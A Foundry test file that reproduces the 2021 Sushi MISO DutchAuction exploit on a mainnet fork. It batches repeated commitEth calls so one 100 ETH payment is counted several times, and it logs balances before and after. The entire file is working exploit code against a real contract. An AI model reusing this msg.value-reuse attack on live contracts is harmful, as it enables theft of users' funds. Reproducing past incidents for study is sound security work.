src/test/2021-09/Sushimiso_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8interface IDutchAuction {
9    function commitEth(
10        address payable _beneficiary,
11        bool readAndAgreedToMarketParticipationAgreement
12    ) external payable;
13 
14    function batch(
15        bytes[] calldata calls,
16        bool revertOnFail
17    ) external payable returns (bool[] memory successes, bytes[] memory results);
18}
19 
20contract ContractTest is Test {
21    IDutchAuction DutchAuction = IDutchAuction(0x4c4564a1FE775D97297F9e3Dc2e762e0Ed5Dda0e);
22    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
23    bytes[] public data;
24    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25 
26    function setUp() public {
27        cheats.createSelectFork("mainnet", 13_038_771); //fork mainnet at block 13038771
28    }
29 
30    function testExploit() public {
31        payable(address(0)).transfer(79_228_162_414_264_337_593_543_950_335);
32        emit log_named_uint("Before exploit, ETH balance of attacker:", address(address(this)).balance);
33        emit log_named_uint("Before exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);
34        bytes memory payload =
35            abi.encodePacked(DutchAuction.commitEth.selector, uint256(uint160(address(this))), uint256(uint8(0x01)));
36        data.push(payload);
37        data.push(payload);
38        data.push(payload);
39        data.push(payload);
40        data.push(payload);
41        DutchAuction.batch{value: 100_000_000_000_000_000_000}(data, true);
42        emit log_named_uint("After exploit, ETH balance of attacker:", address(address(this)).balance);
43        emit log_named_uint("After exploit, ETH balance of DutchAuction:", address(DutchAuction).balance);
44    }
45 
46    receive() external payable {}
47}